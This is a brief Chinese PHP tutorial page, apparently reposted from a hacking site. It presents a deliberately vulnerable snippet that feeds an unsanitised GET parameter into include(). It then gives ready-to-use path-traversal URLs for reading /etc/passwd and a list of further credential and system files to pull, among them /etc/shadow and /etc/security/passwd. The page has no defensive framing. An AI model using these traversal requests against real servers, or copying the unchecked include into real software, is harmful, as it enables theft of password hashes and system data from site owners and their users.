php 伪造本地文件包含漏洞的代码
php 伪造本地文件包含漏洞的代码
发布时间:2016-12-29 来源:查字典编辑
摘要:代码:复制代码代码如下:你可以这样使用http://www.xxx.com/index.php?page=../etc/passwdhttp...

代码:

复制代码 代码如下:

<?php

$page=$_GET['page'];

include($page.'php');

?>

你可以这样使用

http://www.xxx.com/index.php?page=../etc/passwd

http://www.xxx.com/index.php?page=../../../etc/passwd

http://www.xxx.com/index.php?page=..../../etc/passwd

获取更多数据:

etc/profile

etc/services

/etc/passwd

/etc/shadow

/etc/group

/etc/security/group

/etc/security/passwd

/etc/security/user

/etc/security/environ

/etc/security/limits

/usr/lib/security/mkuser.default

来自hackteach

推荐文章
猜你喜欢
附近的人在看
推荐阅读
拓展阅读
相关阅读
网友关注
最新php教程学习
热门php教程学习
编程开发子分类